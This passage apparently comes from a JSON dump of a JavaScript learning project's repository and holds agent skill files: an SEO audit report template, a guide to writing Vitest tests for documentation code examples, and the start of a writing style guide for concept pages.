Check | Status | Notes |\n|-------|--------|-------|\n| Length 150-160 chars | ✅/❌ | XX characters |\n| Starts with action word | ✅/❌ | Starts with \"[word]\" |\n| Contains primary keyword | ✅/❌ | [notes] |\n| Promises specific value | ✅/❌ | [notes] |\n\n**Issues Found:** [if any]\n\n**Recommended Description:** \"[suggested description]\" (XX chars)\n\n---\n\n## Keyword Placement Analysis\n\n**Score:** X/5\n\n| Location | Present | Notes |\n|----------|---------|-------|\n| Title | ✅/❌ | [notes] |\n| Meta description | ✅/❌ | [notes] |\n| First 100 words | ✅/❌ | Found at word XX |\n| H2 heading | ✅/❌ | Found in: \"[H2 text]\" |\n| Natural reading | ✅/❌ | [no stuffing / stuffing detected] |\n\n**Missing Keyword Placements:**\n- [ ] [Location where keyword should be added]\n\n---\n\n## Content Structure Analysis\n\n**Word Count:** X,XXX words\n**Score:** X/6\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| Question hook opening | ✅/❌ | [notes] |\n| Code in first 200 words | ✅/❌ | Code appears at word XX |\n| \"What you'll learn\" box | ✅/❌ | [present/missing] |\n| Short paragraphs | ✅/❌ | [notes on paragraph length] |\n| 1,500+ words | ✅/❌ | X,XXX words |\n| Bolded key terms | ✅/❌ | [notes] |\n\n**Structure Issues:**\n- [ ] [Issue and recommendation]\n\n---\n\n## Featured Snippet Analysis\n\n**Score:** X/4\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| 40-60 word definition | ✅/❌ | Currently XX words |\n| Question-format H2 | ✅/❌ | Found: \"[H2]\" / Not found |\n| Numbered steps | ✅/❌ | [notes] |\n| Comparison tables | ✅/❌/N/A | [notes] |\n\n**Snippet Opportunities:**\n\n1. **\"What is [concept]\" snippet:**\n   - Current definition: XX words\n   - Action: [Expand to/Trim to] 40-60 words\n\n2. **\"How to [action]\" snippet:**\n   - Action: [Add Steps component / Already present]\n\n---\n\n## Internal Linking Analysis\n\n**Score:** X/4\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| 3-5 internal links in body | ✅/❌ | Found X links |\n| Descriptive anchor text | ✅/❌ | [notes] |\n| Prerequisites in Warning | ✅/❌ | [present/missing] |\n| Related Concepts section | ✅/❌ | X cards present |\n\n**Current Internal Links:**\n1. [Anchor text] → `/concepts/[slug]`\n2. [Anchor text] → `/concepts/[slug]`\n\n**Recommended Links to Add:**\n- Link to [concept] in [section/context]\n- Link to [concept] in [section/context]\n\n**Bad Anchor Text Found:**\n- Line XX: \"click here\" → change to \"[descriptive text]\"\n\n---\n\n## Technical SEO Analysis\n\n**Score:** X/3\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| Single H1 per page | ✅/❌ | [Found X H1 tags] |\n| URL slug contains keyword | ✅/❌ | Current: `/concepts/[slug]` |\n| Not an orphan page | ✅/❌ | Linked from X other pages |\n\n**H1 Tags Found:**\n- Line XX: `# [H1 text]` ← Should be the only one\n- [List any additional H1s that need to be changed to H2]\n\n**Slug Analysis:**\n- Current slug: `[slug].mdx`\n- Contains keyword: ✅/❌\n- Format correct: ✅/❌ (lowercase, hyphens, no special chars)\n\n**Incoming Links Found:**\n1. `/concepts/[other-concept]` → Links to this page in [section]\n2. `/concepts/[other-concept]` → Links in Related Concepts\n\n**If orphan page, add links from:**\n- [Suggested concept page] in [section]\n- [Suggested concept page] in Related Concepts\n\n---\n\n## Priority Fixes\n\n### High Priority (Do First)\n\n1. **[Issue]**\n   - Current: [what it is now]\n   - Recommended: [what it should be]\n   - Impact: [why this matters]\n\n2. **[Issue]**\n   - Current: [what it is now]\n   - Recommended: [what it should be]\n   - Impact: [why this matters]\n\n### Medium Priority\n\n1. **[Issue]**\n   - Recommendation: [fix]\n\n### Low Priority (Nice to Have)\n\n1. **[Issue]**\n   - Recommendation: [fix]\n\n---\n\n## Competitive Analysis (Optional)\n\n**Top-Ranking Pages for \"[primary keyword]\":**\n\n1. **[Competitor 1 - URL]**\n   - What they do well: [observation]\n   - Word count: ~X,XXX\n\n2. **[Competitor 2 - URL]**\n   - What they do well: [observation]\n   - Word count: ~X,XXX\n\n**Our Advantages:**\n- [What we do better]\n\n**Gaps to Fill:**\n- [What we're missing that competitors have]\n\n---\n\n## Implementation Checklist\n\nAfter making fixes, verify:\n\n- [ ] Title is 50-60 characters with keyword and hook\n- [ ] Description is 150-160 characters with action word and value\n- [ ] Primary keyword in title, description, first 100 words, and H2\n- [ ] Opens with question hook\n- [ ] Code example in first 200 words\n- [ ] \"What you'll learn\" Info box present\n- [ ] Paragraphs are 2-4 sentences\n- [ ] 1,500+ words total\n- [ ] Key terms bolded on first mention\n- [ ] 40-60 word definition for featured snippet\n- [ ] At least one question-format H2\n- [ ] 3-5 internal links with descriptive anchor text\n- [ ] Prerequisites in Warning box (if applicable)\n- [ ] Related Concepts section has 4 cards\n- [ ] Single H1 per page (title only)\n- [ ] URL slug contains primary keyword\n- [ ] Page linked from at least one other concept page\n- [ ] All fixes implemented and verified\n\n---\n\n## Final Recommendation\n\n**Ready to Publish:** ✅ Yes / ❌ No - [reason]\n\n**Next Review Date:** [When to re-audit, e.g., \"3 months\" or \"after major update\"]\n```\n\n---\n\n## Quick Reference\n\n### Character Counts\n\n| Element | Ideal Length |\n|---------|--------------|\n| Title | 50-60 characters |\n| Meta Description | 150-160 characters |\n| Definition paragraph | 40-60 words |\n\n### Keyword Density\n\n- Don't exceed 3-4 mentions of exact phrase per 1,000 words\n- Use variations naturally (e.g., \"closures\", \"closure\", \"JavaScript closures\")\n\n### Content Length\n\n| Length | Assessment |\n|--------|------------|\n| <1,000 words | Too thin - add depth |\n| 1,000-1,500 | Minimum viable |\n| 1,500-2,500 | Good |\n| 2,500-4,000 | Excellent |\n| >4,000 | Consider splitting |\n\n---\n\n## Summary\n\nWhen auditing a concept page for SEO:\n\n1. **Identify target keywords** using the keyword cluster for that concept\n2. **Check title tag** — 50-60 chars, keyword first, hook, ends with \"JavaScript\"\n3. **Check meta description** — 150-160 chars, action word, keyword, specific value\n4. **Verify keyword placement** — Title, description, first 100 words, H2\n5. **Audit content structure** — Question hook, early code, Info box, short paragraphs\n6. **Optimize for featured snippets** — 40-60 word definitions, numbered steps, tables\n7. **Check internal linking** — 3-5 links, good anchors, Related Concepts section\n8. **Generate report** — Document score, issues, and prioritized fixes\n\n**Remember:** SEO isn't about gaming search engines — it's about making content easy to find for developers who need it. Every optimization should also improve the reader experience.\n"
  },
  {
    "path": ".claude/skills/test-writer/SKILL.md",
    "content": "---\nname: test-writer\ndescription: Generate comprehensive Vitest tests for code examples in JavaScript concept documentation pages, following project conventions and referencing source lines\n---\n\n# Skill: Test Writer for Concept Pages\n\nUse this skill to generate comprehensive Vitest tests for all code examples in a concept documentation page. Tests verify that code examples in the documentation are accurate and work as described.\n\n## When to Use\n\n- After writing a new concept page\n- When adding new code examples to existing pages\n- When updating existing code examples\n- To verify documentation accuracy through automated tests\n- Before publishing to ensure all examples work correctly\n\n## Test Writing Methodology\n\nFollow these four phases to create comprehensive tests for a concept page.\n\n### Phase 1: Code Example Extraction\n\nScan the concept page for all code examples and categorize them:\n\n| Category | Characteristics | Action |\n|----------|-----------------|--------|\n| **Testable** | Has `console.log` with output comments, returns values | Write tests |\n| **DOM-specific** | Uses `document`, `window`, DOM APIs, event handlers | Write DOM tests (separate file) |\n| **Error examples** | Intentionally throws errors, demonstrates failures | Write tests with `toThrow` |\n| **Conceptual** | ASCII diagrams, pseudo-code, incomplete snippets | Skip (document why) |\n| **Browser-only** | Uses browser APIs not available in jsdom | Skip or mock |\n\n### Phase 2: Determine Test File Structure\n\n```\ntests/\n├── fundamentals/              # Concepts 1-6\n├── functions-execution/       # Concepts 7-8\n├── web-platform/             # Concepts 9-10\n├── object-oriented/          # Concepts 11-15\n├── functional-programming/   # Concepts 16-19\n├── async-javascript/         # Concepts 20-22\n├── advanced-topics/          # Concepts 23-31\n└── beyond/                   # Extended concepts\n    └── {subcategory}/\n```\n\n**File naming:**\n- Standard tests: `{concept-name}.test.js`\n- DOM tests: `{concept-name}.dom.test.js`\n\n### Phase 3: Convert Examples to Tests\n\nFor each testable code example:\n\n1. Identify the expected output (from `console.log` comments or documented behavior)\n2. Convert to `expect` assertions\n3. Add source line reference in comments\n4. Group related tests in `describe` blocks matching documentation sections\n\n### Phase 4: Handle Special Cases\n\n| Case | Solution |\n|------|----------|\n| Browser-only APIs | Use jsdom environment or skip with note |\n| Timing-dependent code | Use `vi.useFakeTimers()` or test the logic, not timing |\n| Side effects | Capture output or test mutations |\n| Intentional errors | Use `expect(() => {...}).toThrow()` |\n| Async code | Use `async/await` with proper assertions |\n\n---\n\n## Project Test Conventions\n\n### Import Pattern\n\n```javascript\nimport { describe, it, expect } from 'vitest'\n```\n\nFor DOM tests or tests needing mocks:\n\n```javascript\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n```\n\n### DOM Test File Header\n\n```javascript\n/**\n * @vitest-environment jsdom\n */\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n```\n\n### Describe Block Organization\n\nMatch the structure of the documentation:\n\n```javascript\ndescribe('Concept Name', () => {\n  describe('Section from Documentation', () => {\n    describe('Subsection if needed', () => {\n      it('should [specific behavior]', () => {\n        // Test\n      })\n    })\n  })\n})\n```\n\n### Test Naming Convention\n\n- Start with \"should\"\n- Be descriptive and specific\n- Match the documented behavior\n\n```javascript\n// Good\nit('should return \"object\" for typeof null', () => {})\nit('should throw TypeError when accessing property of undefined', () => {})\nit('should resolve promises in order they were created', () => {})\n\n// Bad\nit('test typeof', () => {})\nit('works correctly', () => {})\nit('null test', () => {})\n```\n\n### Source Line References\n\nAlways reference the documentation source:\n\n```javascript\n// ============================================================\n// SECTION NAME FROM DOCUMENTATION\n// From {concept}.mdx lines XX-YY\n// ============================================================\n\ndescribe('Section Name', () => {\n  // From lines 45-52: Basic typeof examples\n  it('should return correct type strings', () => {\n    // Test\n  })\n})\n```\n\n---\n\n## Test Patterns Reference\n\n### Pattern 1: Basic Value Assertion\n\n**Documentation:**\n```javascript\nconsole.log(typeof \"hello\")  // \"string\"\nconsole.log(typeof 42)       // \"number\"\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: typeof examples\nit('should return correct type for primitives', () => {\n  expect(typeof \"hello\").toBe(\"string\")\n  expect(typeof 42).toBe(\"number\")\n})\n```\n\n---\n\n### Pattern 2: Multiple Related Assertions\n\n**Documentation:**\n```javascript\nlet a = \"hello\"\nlet b = \"hello\"\nconsole.log(a === b)  // true\n\nlet obj1 = { x: 1 }\nlet obj2 = { x: 1 }\nconsole.log(obj1 === obj2)  // false\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Primitive vs object comparison\nit('should compare primitives by value', () => {\n  let a = \"hello\"\n  let b = \"hello\"\n  expect(a === b).toBe(true)\n})\n\nit('should compare objects by reference', () => {\n  let obj1 = { x: 1 }\n  let obj2 = { x: 1 }\n  expect(obj1 === obj2).toBe(false)\n})\n```\n\n---\n\n### Pattern 3: Function Return Values\n\n**Documentation:**\n```javascript\nfunction greet(name) {\n  return \"Hello, \" + name + \"!\"\n}\n\nconsole.log(greet(\"Alice\"))  // \"Hello, Alice!\"\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: greet function example\nit('should return greeting with name', () => {\n  function greet(name) {\n    return \"Hello, \" + name + \"!\"\n  }\n  \n  expect(greet(\"Alice\")).toBe(\"Hello, Alice!\")\n})\n```\n\n---\n\n### Pattern 4: Error Testing\n\n**Documentation:**\n```javascript\n// This throws an error!\nconst obj = null\nconsole.log(obj.property)  // TypeError: Cannot read property of null\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Accessing property of null\nit('should throw TypeError when accessing property of null', () => {\n  const obj = null\n  \n  expect(() => {\n    obj.property\n  }).toThrow(TypeError)\n})\n```\n\n---\n\n### Pattern 5: Specific Error Messages\n\n**Documentation:**\n```javascript\nfunction divide(a, b) {\n  if (b === 0) throw new Error(\"Cannot divide by zero\")\n  return a / b\n}\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: divide function with error\nit('should throw error when dividing by zero', () => {\n  function divide(a, b) {\n    if (b === 0) throw new Error(\"Cannot divide by zero\")\n    return a / b\n  }\n  \n  expect(() => divide(10, 0)).toThrow(\"Cannot divide by zero\")\n  expect(divide(10, 2)).toBe(5)\n})\n```\n\n---\n\n### Pattern 6: Async/Await Testing\n\n**Documentation:**\n```javascript\nasync function fetchUser(id) {\n  const response = await fetch(`/api/users/${id}`)\n  return response.json()\n}\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: async fetchUser function\nit('should fetch user data asynchronously', async () => {\n  // Mock fetch for testing\n  global.fetch = vi.fn(() =>\n    Promise.resolve({\n      json: () => Promise.resolve({ id: 1, name: 'Alice' })\n    })\n  )\n  \n  async function fetchUser(id) {\n    const response = await fetch(`/api/users/${id}`)\n    return response.json()\n  }\n  \n  const user = await fetchUser(1)\n  expect(user).toEqual({ id: 1, name: 'Alice' })\n})\n```\n\n---\n\n### Pattern 7: Promise Testing\n\n**Documentation:**\n```javascript\nconst promise = new Promise((resolve) => {\n  resolve(\"done\")\n})\n\npromise.then(result => console.log(result))  // \"done\"\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Basic Promise resolution\nit('should resolve with correct value', async () => {\n  const promise = new Promise((resolve) => {\n    resolve(\"done\")\n  })\n  \n  await expect(promise).resolves.toBe(\"done\")\n})\n```\n\n---\n\n### Pattern 8: Promise Rejection\n\n**Documentation:**\n```javascript\nconst promise = new Promise((resolve, reject) => {\n  reject(new Error(\"Something went wrong\"))\n})\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Promise rejection\nit('should reject with error', async () => {\n  const promise = new Promise((resolve, reject) => {\n    reject(new Error(\"Something went wrong\"))\n  })\n  \n  await expect(promise).rejects.toThrow(\"Something went wrong\")\n})\n```\n\n---\n\n### Pattern 9: Floating Point Comparison\n\n**Documentation:**\n```javascript\nconsole.log(0.1 + 0.2)         // 0.30000000000000004\nconsole.log(0.1 + 0.2 === 0.3) // false\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Floating point precision\nit('should demonstrate floating point imprecision', () => {\n  expect(0.1 + 0.2).not.toBe(0.3)\n  expect(0.1 + 0.2).toBeCloseTo(0.3)\n  expect(0.1 + 0.2 === 0.3).toBe(false)\n})\n```\n\n---\n\n### Pattern 10: Array Method Testing\n\n**Documentation:**\n```javascript\nconst numbers = [1, 2, 3, 4, 5]\nconst doubled = numbers.map(n => n * 2)\nconsole.log(doubled)  // [2, 4, 6, 8, 10]\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Array map example\nit('should double all numbers in array', () => {\n  const numbers = [1, 2, 3, 4, 5]\n  const doubled = numbers.map(n => n * 2)\n  \n  expect(doubled).toEqual([2, 4, 6, 8, 10])\n  expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged\n})\n```\n\n---\n\n### Pattern 11: Object Mutation Testing\n\n**Documentation:**\n```javascript\nconst obj = { a: 1 }\nobj.b = 2\nconsole.log(obj)  // { a: 1, b: 2 }\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Object mutation\nit('should allow adding properties to objects', () => {\n  const obj = { a: 1 }\n  obj.b = 2\n  \n  expect(obj).toEqual({ a: 1, b: 2 })\n})\n```\n\n---\n\n### Pattern 12: Closure Testing\n\n**Documentation:**\n```javascript\nfunction counter() {\n  let count = 0\n  return function() {\n    count++\n    return count\n  }\n}\n\nconst increment = counter()\nconsole.log(increment())  // 1\nconsole.log(increment())  // 2\nconsole.log(increment())  // 3\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Closure counter example\nit('should maintain state across calls via closure', () => {\n  function counter() {\n    let count = 0\n    return function() {\n      count++\n      return count\n    }\n  }\n  \n  const increment = counter()\n  expect(increment()).toBe(1)\n  expect(increment()).toBe(2)\n  expect(increment()).toBe(3)\n})\n\nit('should create independent counters', () => {\n  function counter() {\n    let count = 0\n    return function() {\n      count++\n      return count\n    }\n  }\n  \n  const counter1 = counter()\n  const counter2 = counter()\n  \n  expect(counter1()).toBe(1)\n  expect(counter1()).toBe(2)\n  expect(counter2()).toBe(1) // Independent\n})\n```\n\n---\n\n### Pattern 13: DOM Event Testing\n\n**Documentation:**\n```javascript\nconst button = document.getElementById('myButton')\nbutton.addEventListener('click', function(event) {\n  console.log('Button clicked!')\n  console.log(event.type)  // \"click\"\n})\n```\n\n**Test (in .dom.test.js file):**\n```javascript\n/**\n * @vitest-environment jsdom\n */\nimport { describe, it, expect, beforeEach, afterEach } from 'vitest'\n\ndescribe('DOM Event Handlers', () => {\n  let button\n  \n  beforeEach(() => {\n    button = document.createElement('button')\n    button.id = 'myButton'\n    document.body.appendChild(button)\n  })\n  \n  afterEach(() => {\n    document.body.innerHTML = ''\n  })\n  \n  // From lines XX-YY: Button click event\n  it('should fire click event handler', () => {\n    const output = []\n    \n    button.addEventListener('click', function(event) {\n      output.push('Button clicked!')\n      output.push(event.type)\n    })\n    \n    button.click()\n    \n    expect(output).toEqual(['Button clicked!', 'click'])\n  })\n})\n```\n\n---\n\n### Pattern 14: DOM Manipulation Testing\n\n**Documentation:**\n```javascript\nconst div = document.createElement('div')\ndiv.textContent = 'Hello'\ndiv.classList.add('greeting')\ndocument.body.appendChild(div)\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Creating and appending elements\nit('should create element with text and class', () => {\n  const div = document.createElement('div')\n  div.textContent = 'Hello'\n  div.classList.add('greeting')\n  document.body.appendChild(div)\n  \n  const element = document.querySelector('.greeting')\n  expect(element).not.toBeNull()\n  expect(element.textContent).toBe('Hello')\n  expect(element.classList.contains('greeting')).toBe(true)\n})\n```\n\n---\n\n### Pattern 15: Timer Testing\n\n**Documentation:**\n```javascript\nconsole.log('First')\nsetTimeout(() => console.log('Second'), 0)\nconsole.log('Third')\n// Output: First, Third, Second\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: setTimeout execution order\nit('should execute setTimeout callback after synchronous code', async () => {\n  const output = []\n  \n  output.push('First')\n  setTimeout(() => output.push('Second'), 0)\n  output.push('Third')\n  \n  // Wait for setTimeout to execute\n  await new Promise(resolve => setTimeout(resolve, 10))\n  \n  expect(output).toEqual(['First', 'Third', 'Second'])\n})\n```\n\n---\n\n### Pattern 16: Strict Mode Behavior\n\n**Documentation:**\n```javascript\n// In strict mode, this throws\n\"use strict\"\nx = 10  // ReferenceError: x is not defined\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Strict mode variable declaration\nit('should throw ReferenceError in strict mode for undeclared variables', () => {\n  // Vitest runs in strict mode by default\n  expect(() => {\n    // Using eval to test strict mode behavior\n    \"use strict\"\n    eval('undeclaredVar = 10')\n  }).toThrow()\n})\n```\n\n---\n\n## Complete Test File Template\n\n```javascript\nimport { describe, it, expect } from 'vitest'\n\ndescribe('[Concept Name]', () => {\n  // ============================================================\n  // [FIRST SECTION NAME FROM DOCUMENTATION]\n  // From [concept].mdx lines XX-YY\n  // ============================================================\n  \n  describe('[First Section]', () => {\n    // From lines XX-YY: [Brief description of example]\n    it('should [expected behavior]', () => {\n      // Code from documentation\n      \n      expect(result).toBe(expected)\n    })\n    \n    // From lines XX-YY: [Brief description of next example]\n    it('should [another expected behavior]', () => {\n      // Code from documentation\n      \n      expect(result).toEqual(expected)\n    })\n  })\n  \n  // ============================================================\n  // [SECOND SECTION NAME FROM DOCUMENTATION]\n  // From [concept].mdx lines XX-YY\n  // ============================================================\n  \n  describe('[Second Section]', () => {\n    // From lines XX-YY: [Description]\n    it('should [behavior]', () => {\n      // Test\n    })\n  })\n  \n  // ============================================================\n  // EDGE CASES AND COMMON MISTAKES\n  // From [concept].mdx lines XX-YY\n  // ============================================================\n  \n  describe('Edge Cases', () => {\n    // From lines XX-YY: [Edge case description]\n    it('should handle [edge case]', () => {\n      // Test\n    })\n  })\n  \n  describe('Common Mistakes', () => {\n    // From lines XX-YY: Wrong way example\n    it('should demonstrate the incorrect behavior', () => {\n      // Test showing why the \"wrong\" way fails\n    })\n    \n    // From lines XX-YY: Correct way example\n    it('should demonstrate the correct behavior', () => {\n      // Test showing the right approach\n    })\n  })\n})\n```\n\n---\n\n## Complete DOM Test File Template\n\n```javascript\n/**\n * @vitest-environment jsdom\n */\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\n// ============================================================\n// DOM EXAMPLES FROM [CONCEPT NAME]\n// From [concept].mdx lines XX-YY\n// ============================================================\n\ndescribe('[Concept Name] - DOM', () => {\n  // Shared setup\n  let container\n  \n  beforeEach(() => {\n    // Create a fresh container for each test\n    container = document.createElement('div')\n    container.id = 'test-container'\n    document.body.appendChild(container)\n  })\n  \n  afterEach(() => {\n    // Clean up after each test\n    document.body.innerHTML = ''\n    vi.restoreAllMocks()\n  })\n  \n  // ============================================================\n  // [SECTION NAME]\n  // From lines XX-YY\n  // ============================================================\n  \n  describe('[Section Name]', () => {\n    // From lines XX-YY: [Example description]\n    it('should [expected DOM behavior]', () => {\n      // Setup\n      const element = document.createElement('div')\n      container.appendChild(element)\n      \n      // Action\n      element.textContent = 'Hello'\n      \n      // Assert\n      expect(element.textContent).toBe('Hello')\n    })\n  })\n  \n  // ============================================================\n  // EVENT HANDLING\n  // From lines XX-YY\n  // ============================================================\n  \n  describe('Event Handling', () => {\n    // From lines XX-YY: Click event example\n    it('should handle click events', () => {\n      const button = document.createElement('button')\n      container.appendChild(button)\n      \n      let clicked = false\n      button.addEventListener('click', () => {\n        clicked = true\n      })\n      \n      button.click()\n      \n      expect(clicked).toBe(true)\n    })\n  })\n})\n```\n\n---\n\n## Running Tests\n\n```bash\n# Run all tests\nnpm test\n\n# Run tests for specific concept\nnpm test -- tests/fundamentals/primitive-types/\n\n# Run tests for specific file\nnpm test -- tests/fundamentals/primitive-types/primitive-types.test.js\n\n# Run DOM tests only\nnpm test -- tests/fundamentals/primitive-types/primitive-types.dom.test.js\n\n# Run with watch mode\nnpm run test:watch\n\n# Run with coverage\nnpm run test:coverage\n\n# Run with verbose output\nnpm test -- --reporter=verbose\n```\n\n---\n\n## Quality Checklist\n\n### Completeness\n- [ ] All testable code examples have corresponding tests\n- [ ] Tests organized by documentation sections\n- [ ] Source line references included in comments (From lines XX-YY)\n- [ ] DOM tests in separate `.dom.test.js` file\n- [ ] Edge cases and error examples tested\n\n### Correctness\n- [ ] Tests verify the actual documented behavior\n- [ ] Output comments in docs match test expectations\n- [ ] Async tests properly use async/await\n- [ ] Error tests use correct `toThrow` pattern\n- [ ] Floating point comparisons use `toBeCloseTo`\n- [ ] Object comparisons use `toEqual` (not `toBe`)\n\n### Convention\n- [ ] Uses explicit imports from vitest\n- [ ] Follows describe/it nesting pattern\n- [ ] Test names start with \"should\"\n- [ ] Proper file naming (`{concept}.test.js`)\n- [ ] DOM tests have jsdom environment directive\n\n### Verification\n- [ ] All tests pass: `npm test -- tests/{category}/{concept}/`\n- [ ] No skipped tests without documented reason\n- [ ] No false positives (tests that pass for wrong reasons)\n\n---\n\n## Test Report Template\n\nUse this template to document test coverage for a concept page.\n\n```markdown\n# Test Coverage Report: [Concept Name]\n\n**Concept Page:** `/docs/concepts/[slug].mdx`\n**Test File:** `/tests/{category}/{concept}/{concept}.test.js`\n**DOM Test File:** `/tests/{category}/{concept}/{concept}.dom.test.js` (if applicable)\n**Date:** YYYY-MM-DD\n**Author:** [Name/Claude]\n\n## Summary\n\n| Metric | Count |\n|--------|-------|\n| Total Code Examples in Doc | XX |\n| Testable Examples | XX |\n| Tests Written | XX |\n| DOM Tests Written | XX |\n| Skipped (with reason) | XX |\n\n## Tests by Section\n\n| Section | Line Range | Examples | Tests | Status |\n|---------|------------|----------|-------|--------|\n| [Section 1] | XX-YY | X | X | ✅ |\n| [Section 2] | XX-YY | X | X | ✅ |\n| [Section 3] | XX-YY | X | X | ⚠️ (1 skipped) |\n\n## Skipped Examples\n\n| Line | Example Description | Reason |\n|------|---------------------|--------|\n| XX | ASCII diagram of call stack | Conceptual, not executable |\n| YY | Browser fetch example | Requires network, mocked instead |\n\n## Test Execution\n\n```bash\nnpm test -- tests/{category}/{concept}/\n```\n\n**Result:** ✅ XX passing | ❌ X failing | ⏭️ X skipped\n\n## Notes\n\n[Any special considerations, mock requirements, or issues encountered]\n```\n\n---\n\n## Common Issues and Solutions\n\n### Issue: Test passes but shouldn't\n\n**Problem:** Test expectations don't match documentation output\n\n**Solution:** Double-check the expected value matches the `console.log` comment exactly\n\n```javascript\n// Documentation says: console.log(result)  // [1, 2, 3]\n// Make sure test uses:\nexpect(result).toEqual([1, 2, 3])  // NOT toBe for arrays\n```\n\n### Issue: Async test times out\n\n**Problem:** Async test never resolves\n\n**Solution:** Ensure all promises are awaited and async function is marked\n\n```javascript\n// Bad\nit('should fetch data', () => {\n  const data = fetchData()  // Missing await!\n  expect(data).toBeDefined()\n})\n\n// Good\nit('should fetch data', async () => {\n  const data = await fetchData()\n  expect(data).toBeDefined()\n})\n```\n\n### Issue: DOM test fails with \"document is not defined\"\n\n**Problem:** Missing jsdom environment\n\n**Solution:** Add environment directive at top of file\n\n```javascript\n/**\n * @vitest-environment jsdom\n */\n```\n\n### Issue: Test isolation problems\n\n**Problem:** Tests affect each other\n\n**Solution:** Use beforeEach/afterEach for cleanup\n\n```javascript\nafterEach(() => {\n  document.body.innerHTML = ''\n  vi.restoreAllMocks()\n})\n```\n\n---\n\n## Summary\n\nWhen writing tests for a concept page:\n\n1. **Extract all code examples** from the documentation\n2. **Categorize** as testable, DOM, error, or conceptual\n3. **Create test file** in correct location with proper naming\n4. **Convert each example** to test using appropriate pattern\n5. **Reference source lines** in comments for traceability\n6. **Run tests** to verify all pass\n7. **Document coverage** using the report template\n\n**Remember:** Tests serve two purposes:\n1. Verify documentation is accurate\n2. Catch regressions if code examples are updated\n\nEvery testable code example in the documentation should have a corresponding test. If an example can't be tested, document why.\n"
  },
  {
    "path": ".claude/skills/write-concept/SKILL.md",
    "content": "---\nname: write-concept\ndescription: Write or review JavaScript concept documentation pages for the 33 JavaScript Concepts project, following strict structure and quality guidelines\n---\n\n# Skill: Write JavaScript Concept Documentation\n\nUse this skill when writing or improving concept documentation pages for the 33 JavaScript Concepts project.\n\n## When to Use\n\n- Creating a new concept page in `/docs/concepts/`\n- Rewriting or significantly improving an existing concept page\n- Reviewing an existing concept page for quality and completeness\n- Adding explanatory content to a concept\n\n## Target Audience\n\nRemember: **the reader might be someone who has never coded before or is just learning JavaScript**. Write with empathy for beginners while still providing depth for intermediate developers. Make complex topics feel approachable and never assume prior knowledge without linking to prerequisites.\n\n## Writing Guidelines\n\n### Voice and Tone\n\n- **Conversational but authoritative**: Write like you're explaining to a smart friend\n- **Encouraging**: Make complex topics feel approachable\n- **Practical**: Focus on real-world applications and use cases\n- **Concise**: Respect the reader's time; avoid unnecessary verbosity\n- **Question-driven**: Open sections with questions the reader might have\n\n### Avoiding AI-Generated Language\n\nYour writing must sound human, not AI-generated. Here are specific patterns to avoid:\n\n#### Words and Phrases to Avoid\n\n| ❌ Avoid | ✓ Use Instead |\n|----------|---------------|\n| \"Master [concept]\" | \"Learn [concept]\" |\n| \"dramatically easier/better\" | \"much easier\" or \"cleaner\" |\n| \"one fundamental thing\" | \"one simple thing\" |\n| \"one of the most important concepts\" | \"This is a big one\" |\n| \"essential points\" | \"key things to remember\" |\n| \"understanding X deeply improves\" | \"knowing X well makes Y easier\" |\n| \"To truly understand\" | \"Let's look at\" or \"Here's how\" |\n| \"This is crucial\" | \"This trips people up\" |\n| \"It's worth noting that\" | Just state the thing directly |\n| \"It's important to remember\" | \"Don't forget:\" or \"Remember:\" |\n| \"In order to\" | \"To\" |\n| \"Due to the fact that\" | \"Because\" |\n| \"At the end of the day\" | Remove entirely |\n| \"When it comes to\" | Remove or rephrase |\n| \"In this section, we will\" | Just start explaining |\n| \"As mentioned earlier\" | Remove or link to the section |\n\n#### Repetitive Emphasis Patterns\n\nDon't use the same lead-in pattern repeatedly. Vary your emphasis:\n\n| Instead of repeating... | Vary with... |\n|------------------------|--------------|\n| \"Key insight:\" | \"Don't forget:\", \"The pattern:\", \"Here's the thing:\" |\n| \"Best practice:\" | \"Pro tip:\", \"Quick check:\", \"A good habit:\" |\n| \"Important:\" | \"Watch out:\", \"Heads up:\", \"Note:\" |\n| \"Remember:\" | \"Keep in mind:\", \"The rule:\", \"Think of it this way:\" |\n\n#### Em Dash (—) Overuse\n\nAI-generated text overuses em dashes. Limit their use and prefer periods, commas, or colons:\n\n| ❌ Em Dash Overuse | ✓ Better Alternative |\n|-------------------|---------------------|\n| \"async/await — syntactic sugar that...\" | \"async/await. It's syntactic sugar that...\" |\n| \"understand Promises — async/await is built...\" | \"understand Promises. async/await is built...\" |\n| \"doesn't throw an error — you just get...\" | \"doesn't throw an error. You just get...\" |\n| \"outside of async functions — but only in...\" | \"outside of async functions, but only in...\" |\n| \"Fails fast — if any Promise rejects...\" | \"Fails fast. If any Promise rejects...\" |\n| \"achieve the same thing — the choice...\" | \"achieve the same thing. The choice...\" |\n\n**When em dashes ARE acceptable:**\n- In Key Takeaways section (consistent formatting for the numbered list)\n- In MDN card titles (e.g., \"async function — MDN\")\n- In interview answer step-by-step explanations (structured formatting)\n- Sparingly when a true parenthetical aside reads naturally\n\n**Rule of thumb:** If you have more than 10-15 em dashes in a 1500-word document outside of structured sections, you're overusing them. After writing, search for \"—\" and evaluate each one.\n\n#### Superlatives and Filler Words\n\nAvoid vague superlatives that add no information:\n\n| ❌ Avoid | ✓ Use Instead |\n|----------|---------------|\n| \"dramatically\" | \"much\" or remove entirely |\n| \"fundamentally\" | \"simply\" or be specific about what's fundamental |\n| \"incredibly\" | remove or be specific |\n| \"extremely\" | remove or be specific |\n| \"absolutely\" | remove 